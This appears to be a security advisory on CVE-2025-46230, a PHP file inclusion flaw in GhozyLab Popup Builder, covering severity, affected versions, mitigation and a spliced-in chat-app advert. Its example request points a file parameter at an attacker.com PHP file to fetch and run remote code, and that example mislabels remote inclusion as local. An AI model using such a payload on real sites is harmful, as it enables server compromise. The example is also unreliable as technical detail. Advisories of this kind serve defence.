Overview
The vulnerability CVE-2025-46230 pertains to the GhozyLab Popup Builder, wherein an improper control of filename for Include/Require Statement in PHP program allows PHP Local File Inclusion. This vulnerability can lead to potential system compromise or data leakage, thereby affecting the integrity and confidentiality of the system. This issue is of high importance due to its impact on potentially numerous web applications powered by the PHP programming language.
Vulnerability Summary
CVE ID: CVE-2025-46230
Severity: High, 7.5 (CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
GhozyLab Popup Builder | up to and including 1.1.35
How the Exploit Works
The exploit works by manipulating the filename in the Include/Require Statement in a PHP program, which allows an attacker to include a local file from the server. This can be used to execute arbitrary PHP code, providing a pathway for potential system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a malicious payload.
GET /vulnerable_endpoint.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com
Accept: */*
In this example, the attacker could host a malicious PHP file on their own server (attacker.com) and then trick the vulnerable application into including and executing that code. This would allow the attacker to execute arbitrary code with the privileges of the web server process.
Mitigation
To mitigate the issue, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, users can restrict the input of the file parameter to only allow local resources to be included, and disallow any remote resources.

